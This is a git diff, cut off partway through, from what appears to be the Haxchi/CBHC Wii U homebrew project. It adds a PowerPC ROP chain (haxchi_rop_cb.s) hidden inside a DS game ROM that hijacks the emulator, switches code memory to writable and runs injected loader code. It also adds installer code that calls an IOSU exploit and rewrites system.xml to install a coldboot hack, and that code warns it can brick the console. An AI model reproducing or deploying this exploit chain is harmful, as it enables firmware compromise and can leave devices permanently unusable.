index 0000000..95ac2c7 --- /dev/null +++ b/dsrom/CBHC/pad.h @@ -0,0 +1,127 @@ + +#ifndef _PAD_H_ +#define _PAD_H_ + +typedef struct _KPADData +{ + unsigned int btns_h; + unsigned int btns_d; + unsigned int btns_r; + unsigned int unused_1[5]; + float pos_x; + float pos_y; + unsigned int unused_2[3]; + float angle_x; + float angle_y; + unsigned int unused_3[8]; + unsigned char device_type; + unsigned char wpad_error; + unsigned char pos_valid; + unsigned char unused_4[1]; + + union + { + struct + { + float stick_x; + float stick_y; + } nunchuck; + + struct + { + unsigned int btns_h; + unsigned int btns_d; + unsigned int btns_r; + float lstick_x; + float lstick_y; + float rstick_x; + float rstick_y; + float ltrigger; + float rtrigger; + } classic; + + unsigned int unused_6[20]; + }; + unsigned int unused_7[16]; +} KPADData; + +#define WPAD_BUTTON_LEFT 0x0001 +#define WPAD_BUTTON_RIGHT 0x0002 +#define WPAD_BUTTON_DOWN 0x0004 +#define WPAD_BUTTON_UP 0x0008 +#define WPAD_BUTTON_PLUS 0x0010 +#define WPAD_BUTTON_2 0x0100 +#define WPAD_BUTTON_1 0x0200 +#define WPAD_BUTTON_B 0x0400 +#define WPAD_BUTTON_A 0x0800 +#define WPAD_BUTTON_MINUS 0x1000 +#define WPAD_BUTTON_Z 0x2000 +#define WPAD_BUTTON_C 0x4000 +#define WPAD_BUTTON_HOME 0x8000 + +#define WPAD_CLASSIC_BUTTON_UP 0x0001 +#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 +#define WPAD_CLASSIC_BUTTON_ZR 0x0004 +#define WPAD_CLASSIC_BUTTON_X 0x0008 +#define WPAD_CLASSIC_BUTTON_A 0x0010 +#define WPAD_CLASSIC_BUTTON_Y 0x0020 +#define WPAD_CLASSIC_BUTTON_B 0x0040 +#define WPAD_CLASSIC_BUTTON_ZL 0x0080 +#define WPAD_CLASSIC_BUTTON_R 0x0200 +#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 +#define WPAD_CLASSIC_BUTTON_HOME 0x0800 +#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 +#define WPAD_CLASSIC_BUTTON_L 0x2000 +#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 +#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 + + + +typedef struct +{ + float x,y; +} Vec2D; + +typedef struct +{ + uint16_t x, y; /* Touch coordinates */ + uint16_t touched; /* 1 = Touched, 0 = Not touched */ + uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ +} VPADTPData; + +typedef struct +{ + uint32_t btns_h; /* Held buttons */ + uint32_t btns_d; /* Buttons that are pressed at that instant */ + uint32_t btns_r; /* Released buttons */ + Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ + char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ + VPADTPData tpdata; /* Normal touchscreen data */ + VPADTPData tpdata1; /* Modified touchscreen data 1 */ + VPADTPData tpdata2; /* Modified touchscreen data 2 */ + char unknown6a[0xa0 - 0x6a]; + uint8_t volume; + uint8_t battery; /* 0 to 6 */ + uint8_t unk_volume; /* One less than volume */ + char unknowna4[0xac - 0xa4]; +} VPADData; + +#define VPAD_BUTTON_A 0x8000 +#define VPAD_BUTTON_B 0x4000 +#define VPAD_BUTTON_X 0x2000 +#define VPAD_BUTTON_Y 0x1000 +#define VPAD_BUTTON_LEFT 0x0800 +#define VPAD_BUTTON_RIGHT 0x0400 +#define VPAD_BUTTON_UP 0x0200 +#define VPAD_BUTTON_DOWN 0x0100 +#define VPAD_BUTTON_ZL 0x0080 +#define VPAD_BUTTON_ZR 0x0040 +#define VPAD_BUTTON_L 0x0020 +#define VPAD_BUTTON_R 0x0010 +#define VPAD_BUTTON_PLUS 0x0008 +#define VPAD_BUTTON_MINUS 0x0004 +#define VPAD_BUTTON_HOME 0x0002 +#define VPAD_BUTTON_SYNC 0x0001 + + +#endif diff --git a/dsrom/CBHC/types.h b/dsrom/CBHC/types.h new file mode 100644 index 0000000..828591e --- /dev/null +++ b/dsrom/CBHC/types.h @@ -0,0 +1,20 @@ +#ifndef TYPES_H +#define TYPES_H + +typedef unsigned long long uint64_t; +typedef long long int64_t; +typedef unsigned int uint32_t; +typedef int int32_t; +typedef unsigned short uint16_t; +typedef short int16_t; +typedef unsigned char uint8_t; +typedef char int8_t; + +typedef uint32_t size_t; + +typedef _Bool bool; +#define true 1 +#define false 0 +#define null 0 + +#endif /* TYPES_H */ diff --git a/dsrom/Makefile b/dsrom/Makefile index 97f4d42..f02f69c 100644 --- a/dsrom/Makefile +++ b/dsrom/Makefile @@ -6,6 +6,16 @@ else ZIP = zip endif +ifeq ($(CB), 1) + HAXCHI_S = haxchi_cb.s + ROP_S = haxchi_rop_cb.s + ROP_BIN = haxchi_rop_cb.bin +else + HAXCHI_S = haxchi.s + ROP_S = haxchi_rop.s + ROP_BIN = haxchi_rop.bin +endif + all: setup animalcrossing brainage dkjclimber guardiansigns kirby kirbymassattack mariokartds masterofdisguise newsmb_eur partnersintime \ pokemonranger sfcommand sm64ds yoshids zeldaph zeldast \ animalcrossing.zip brainage.zip dkjclimber.zip guardiansigns.zip kirby.zip kirbymassattack.zip mariokartds.zip masterofdisguise.zip \ @@ -47,154 +57,155 @@ setup: @cd option_select && make && cd .. @cd hbl_loader && make && cd .. @cd cfw_booter && make && cd .. + @cd CBHC && make && cd .. setup_animalcrossing: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f animalcrossing_defs.s defines.s setup_brainage: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f brainage_defs.s defines.s setup_dkjclimber: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f dkjclimber_defs.s defines.s setup_guardiansigns: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f guardiansigns_defs.s defines.s setup_kirby: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f kirby_defs.s defines.s setup_kirbymassattack: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f kirbymassattack_defs.s defines.s setup_mariokartds: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f mariokartds_defs.s defines.s setup_masterofdisguise: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f masterofdisguise_defs.s defines.s setup_newsmb_eur: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f newsmb_eur_defs.s defines.s setup_pokemonranger: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f pokemonranger_defs.s defines.s setup_partnersintime: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f partnersintime_defs.s defines.s setup_sfcommand: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f sfcommand_defs.s defines.s setup_sm64ds: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f sm64ds_defs.s defines.s setup_yoshids: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f yoshids_defs.s defines.s setup_zeldaph: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f zeldaph_defs.s defines.s setup_zeldast: - @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @cp -f zeldast_defs.s defines.s animalcrossing.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds animalcrossing.nds brainage.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds brainage.nds @cp brainage.nds yoshitouchandgo.nds dkjclimber.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds dkjclimber.nds guardiansigns.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds guardiansigns.nds kirby.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds kirby.nds kirbymassattack.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds kirbymassattack.nds mariokartds.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds mariokartds.nds @cp mariokartds.nds newsmb.nds masterofdisguise.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds masterofdisguise.nds newsmb_eur.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds newsmb_eur.nds pokemonranger.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds pokemonranger.nds partnersintime.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds partnersintime.nds sfcommand.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds sfcommand.nds sm64ds.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds sm64ds.nds @cp sm64ds.nds kirbycanvascurse.nds yoshids.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds yoshids.nds @cp yoshids.nds wwtouched.nds @cp yoshids.nds bigbrainacademy.nds zeldaph.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds zeldaph.nds zeldast.nds: - @armips haxchi_rop.s - @armips haxchi.s + @armips $(ROP_S) + @armips $(HAXCHI_S) @mv rom.nds zeldast.nds @cp zeldast.nds explorersofsky.nds @cp zeldast.nds shadowsofalmia.nds @@ -259,4 +270,5 @@ clean: @cd option_select && make clean && cd .. @cd hbl_loader && make clean && cd .. @cd cfw_booter && make clean && cd .. + @cd CBHC && make clean && cd .. @echo "all cleaned up !" diff --git a/dsrom/haxchi_cb.s b/dsrom/haxchi_cb.s new file mode 100644 index 0000000..b5d968f --- /dev/null +++ b/dsrom/haxchi_cb.s @@ -0,0 +1,40 @@ +.include "defines.s" +.create "rom.nds", 0 + +.nds + +.org 0x000 + .ascii "HAXCHI" ; Game Title + +.org 0x00C + .ascii "HAXX" ; Gamecode + .ascii "01" ; Makercode + .byte 0x00 ; Unitcode + +.org 0x020 + .word arm9_data ; ARM9 rom_offset + .word 0x2000800 ; ARM9 entry_address + .word 0x2000000 ; ARM9 ram_address + .word arm9_data_end - arm9_data ; ARM9 size + .word arm7_data ; ARM7 rom_offset + .word 0x2000000 ; ARM7 entry_address + .word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address + .word arm7_data_end - arm7_data ; ARM7 size + +.org 0x080 + .word total_size ; Total Used ROM size + .word 0x4000 ; ROM Header Size + +.org 0x8000 +arm9_data: + .incbin "haxchi_rop_cb.bin" +arm9_data_end: + +.align 0x1000 +arm7_data: + .incbin "haxchi_rop_hook.bin" +arm7_data_end: + +total_size: + +.Close diff --git a/dsrom/haxchi_rop_cb.s b/dsrom/haxchi_rop_cb.s new file mode 100644 index 0000000..6b39c17 --- /dev/null +++ b/dsrom/haxchi_rop_cb.s @@ -0,0 +1,269 @@ +.include "coreinit.s" +.include "defines.s" + +; more useful definitions +HBL_LOADER_ADR equ (0x01800000) +CBHC_ADDR equ (0x01808000) + +NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000) +NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000) + +.macro set_sp,v + .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEADBABE ; r30 + .word v ; r31 + .word 0xDEAD0001 ; garbage + .word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR + .word 0xDEADBABE ; r26 + .word 0xDEADBABE ; r27 + .word 0xDEADBABE ; r28 + .word 0xDEADBABE ; r29 + .word 0xDEADBABE ; r30 + .word 0xDEADBABE ; r31 + .word 0xDEAD0001 ; garbage + .word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR +.endmacro + +.macro call_func,f,arg1,arg2,arg3,arg4 + .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEADBABE ; r21 + .word 0xDEADBABE ; r22 + .word 0xDEADBABE ; r23 + .word 0xDEADBABE ; r24 + .word 0xDEADBABE ; r25 + .word 0xDEADBABE ; r26 + .word f ; r27 (ctr) + .word arg4 ; r28 (r6) + .word arg3 ; r29 (r5) + .word arg2 ; r30 (r4) + .word arg1 - 2 ; r31 (r3 - 2) + ; sp is here when LMW_R26R1x18 happens + .word 0xDEAD0004 ; garbage + .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR + .word 0xDEAD0008 ; garbage + .word 0xDEAD000C ; garbage + .word 0xDEAD0010 ; garbage + .word 0xDEAD0014 ; garbage + .word 0xDEADBABE ; r26 + .word 0xDEADBABE ; r27 + .word 0xDEADBABE ; r28 + .word 0xDEADBABE ; r29 + .word 0xDEADBABE ; r30 + .word 0xDEADBABE ; r31 + ; final sp is here + .word 0xDEADBABE ; garbage +.endmacro + +.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6 + .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR + .word 0xDEAD0001 ; garbage + .word arg6 ; r21 (r8) + .word 0xDEADBABE ; r22 + .word 0xDEADBABE ; r23 + .word arg1 ; r24 (r3) + .word arg2 ; r25 (r4) + .word 0xDEADBABE ; r26 + .word arg3 ; r27 (r5) + .word arg4 ; r28 (r6) + .word arg5 ; r29 (r7) + .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr) + .word 0xDEADBABE ; r31 + ; sp is here when LMW_R26R1x18 happens + .word 0xDEAD0004 ; garbage + .word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL + .word 0xDEAD0001 ; garbage + .word 0xDEADBABE ; r21 + .word 0xDEADBABE ; r22 + .word 0xDEADBABE ; r23 + .word 0xDEADBABE ; r24 + .word 0xDEADBABE ; r25 + .word 0xDEADBABE ; r26 + .word f ; r27 (ctr) + .word arg4 ; r28 (r6) + .word arg3 ; r29 (r5) + .word arg2 ; r30 (r4) + .word arg1 - 2 ; r31 (r3 - 2) + ; sp is here when LMW_R26R1x18 happens + .word 0xDEAD0004 ; garbage + .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR + .word 0xDEAD0008 ; garbage + .word 0xDEAD000C ; garbage + .word 0xDEAD0010 ; garbage + .word 0xDEAD0014 ; garbage + .word 0xDEADBABE ; r26 + .word 0xDEADBABE ; r27 + .word 0xDEADBABE ; r28 + .word 0xDEADBABE ; r29 + .word 0xDEADBABE ; r30 + .word 0xDEADBABE ; r31 + ; final sp is here + .word 0xDEADBABE ; garbage +.endmacro + + +; hacked from arm7 ram offset (unsafe, game stack pointer) +.create "haxchi_rop_hook.bin", HAX_TARGET_ADDRESS +.arm.big + +rop_hook_start: + ;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop + ;call_func OSFATAL, 0x1007E7A8, 0, 0, 0 + ; move stack pointer to safe area + set_sp (rop_start - 4) +.Close + + +; original game arm9 ram offset (safe, normally arm9 code) +.create "haxchi_rop_cb.bin", ARM9_ROM_LOCATION +.arm.big + +rop_start: + ; do hachihachi cleanups so we can use everything safely + call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0 + call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0 + call_func CORE_SHUTDOWN, 0, 0, 0, 0 + + ; set up hbl_loader in core 0 + call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0 + + ; the code below prepares the stack for the thread in core 0 + + ; load memcpy jump into r3 + .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR + .word MEMCPY ; r3 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; more r3 into r12 for our memcpy jump at the end of this + .word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; prepare r31 to be a valid value for the next call + .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEADBABE ; r30 + .word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call) + .word 0xDEAD0001 ; garbage + ; get r5 ready for the length we want to copy + .word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR + .word (core0rop_end - core0rop) ; r5 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r30 + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + ; get r4 ready for the data we want to copy + .word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR + .word 0xDEAD0001 ; garbage + .word core0rop ; r4 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; prepare r31 to be a valid value for the next call + .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEADBABE ; r30 + .word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here) + .word 0xDEAD0001 ; garbage + ; loads the required value for the addition onto r3 later on + .word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word (0x00800000 - 0x30 + 0xAFC) ; r7 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r30 + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + ; loads pointer to new thread sp into r3 + .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR + .word (NERD_THREAD0OBJECT+4) ; r3 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; r3 contains new thread sp end after this load + .word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR + .word 0xDEAD0001 ; garbage + ; r3 contains code injection thread sp after this add + .word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r30 + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + ; jump to previously prepared r12 for memcpy + .word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + + ; thread stack is prepared after this point + + ; wait for hbl_loader to do its job + call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 + call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 + + ; prepare system for foreground release + call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0 + + ; instruct all 3 cores to release foreground to prepare mii studio app launch + call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0 + call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 + + call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0 + call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0 + + ; we are the main thread in core 1 so we call this direct + call_func OSRELEASEFOREGROUND, 0, 0, 0, 0 + + ; launch mii studio app + .word _START_EXIT + + core0rop: + ; switch codegen to RW + call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0 + + ; memcpy code + call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0 + call_func MEMCPY, CBHC_ADDR, cbhc, cbhc_end - cbhc, 0x0 + call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0 + + ; switch codegen to RX + call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0 + call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0 + + ; execute option_select in codegen + .word CBHC_ADDR + core0rop_end: + + ; core 0 thread params + output0_string: + .ascii "hax0thread" + .byte 0x00 + .align 0x4 + + thread0_param: + .word output0_string + .word 0x00800000 ; stack size + .word 0x00000010 ; thread prio + .halfword 0x0001 ; thread affinity (core0) + + ; core 2 thread params + output2_string: + .ascii "hax2thread" + .byte 0x00 + .align 0x4 + + thread2_param: + .word output2_string + .word 0x00800000 ; stack size + .word 0x00000010 ; thread prio + .halfword 0x0004 ; thread affinity (core2) + + hbl_loader: + .incbin "hbl_loader.bin" + hbl_loader_end: + + cbhc: + .incbin "cbhc.bin" + cbhc_end: + +.Close diff --git a/dsrom/option_select/main.c b/dsrom/option_select/main.c index 2cd0109..ac15e8e 100644 --- a/dsrom/option_select/main.c +++ b/dsrom/option_select/main.c @@ -1,3 +1,9 @@ +/* + * Copyright (C) 2016 FIX94 + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ #include #include "types.h" #include "coreinit.h" diff --git a/installer/Makefile b/installer/Makefile index c00ab95..4148af7 100644 --- a/installer/Makefile +++ b/installer/Makefile @@ -28,7 +28,11 @@ export OBJCOPY := $(PREFIX)objcopy # SOURCES is a list of directories containing source code # INCLUDES is a list of directories containing extra header files #--------------------------------------------------------------------------------- +ifeq ($(CB),1) +TARGET := cbhc +else TARGET := haxchi +endif BUILD := build BUILD_DBG := $(TARGET)_dbg SOURCES := src \ @@ -40,13 +44,18 @@ DATA := data INCLUDES := src payload +ifeq ($(CB),1) + DEFS := -DCB=1 +else + DEFS := +endif #--------------------------------------------------------------------------------- # options for code generation #--------------------------------------------------------------------------------- CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS) CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS) ASFLAGS := -mregnames LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections @@ -139,7 +148,7 @@ $(CURDIR)/payload/arm_user_bin.h: #--------------------------------------------------------------------------------- clean: @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(CURDIR)/payload + @rm -fr $(BUILD) $(CURDIR)/*.elf $(CURDIR)/payload @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean @$(MAKE) --no-print-directory -C $(CURDIR)/wupserver -f $(CURDIR)/wupserver/Makefile clean @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean diff --git a/installer/src/main.c b/installer/src/main.c index 904e73c..6ddfe6e 100644 --- a/installer/src/main.c +++ b/installer/src/main.c @@ -23,7 +23,10 @@ #include "gameList.h" static const char *sdCardVolPath = "/vol/storage_sdcard"; - +#ifdef CB +static const char *systemXmlPath = "/vol/system/config/system.xml"; +static const char *syshaxXmlPath = "/vol/system/config/syshax.xml"; +#endif //just to be able to call async void someFunc(void *arg) { @@ -121,7 +124,11 @@ int availSort(const void *c1, const void *c2) void printhdr_noflip() { - println_noflip(0,"Haxchi v2.2u1 by FIX94"); +#ifdef CB + println_noflip(0,"CBHC v1.0 by FIX94"); +#else + println_noflip(0,"Haxchi v2.3 by FIX94"); +#endif println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok"); } @@ -297,6 +304,9 @@ int Menu_Main(void) redraw = 0; } } +#ifdef CB + int action = 0; +#endif const parsedList_t *SelectedGame = &gAvail[PosX + ScrollX]; for(j = 0; j < 2; j++) { @@ -305,8 +315,14 @@ int Menu_Main(void) printhdr_noflip(); println_noflip(2,"You have selected the following game:"); println_noflip(3,SelectedGame->name); +#ifdef CB + println_noflip(4,"Press A to install CBHC, B to remove coldboothax, HOME to Exit."); + println_noflip(5,"WARNING, INSTALLING CBHC CAN POTENTIALLY BRICK YOUR SYSTEM!"); + println_noflip(6,"NEVER UNINSTALL OR MOVE THE SELECTED GAME OR YOUR WIIU IS DEAD!"); +#else println_noflip(4,"This will install Haxchi. To remove it you have to delete and"); println_noflip(5,"re-install the game. If you are sure press A, else press HOME."); +#endif OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); usleep(25000); @@ -328,16 +344,38 @@ int Menu_Main(void) //lets go! if(vpad.btns_d & VPAD_BUTTON_A) break; +#ifdef CB + if(vpad.btns_d & VPAD_BUTTON_B) + { + action = 1; + break; + } +#endif } - //will inject our custom mcp code +#ifdef CB + //grab this before doing iosu exploit + unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); + OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId); + unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0); + char sysmenuId[20]; + memset(sysmenuId, 0, 20); + sprintf(sysmenuId, "%08x%08x", (u32)((sysmenuIdUll>>32)&0xFFFFFFFF),(u32)(sysmenuIdUll&0xFFFFFFFF)); + char new_title_id[20]; + memset(new_title_id, 0, 20); + sprintf(new_title_id, "00050000%08x", SelectedGame->tid); + int line = 7; +#else int line = 6; +#endif + + //will inject our custom mcp code println(line++,"Doing IOSU Exploit..."); IOSUExploit(); int fsaFd = -1; int sdMounted = 0; - int sdFd = -1, mlcFd = -1; + int sdFd = -1, mlcFd = -1, slcFd = -1; //done with iosu exploit, take over mcp if(MCPHookOpen() < 0) @@ -353,6 +391,94 @@ int Menu_Main(void) println(line++,"FSA could not be opened!"); goto prgEnd; } +#ifdef CB + if(action == 1) + { + if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0) + { + //read in system xml file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); + size_t sysXmlSize = stats.size; + char *sysXmlBuf = malloc(sysXmlSize+1); + memset(sysXmlBuf, 0, sysXmlSize+1); + fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); + IOSUHAX_FSA_CloseFile(fsaFd, slcFd); + slcFd = -1; + 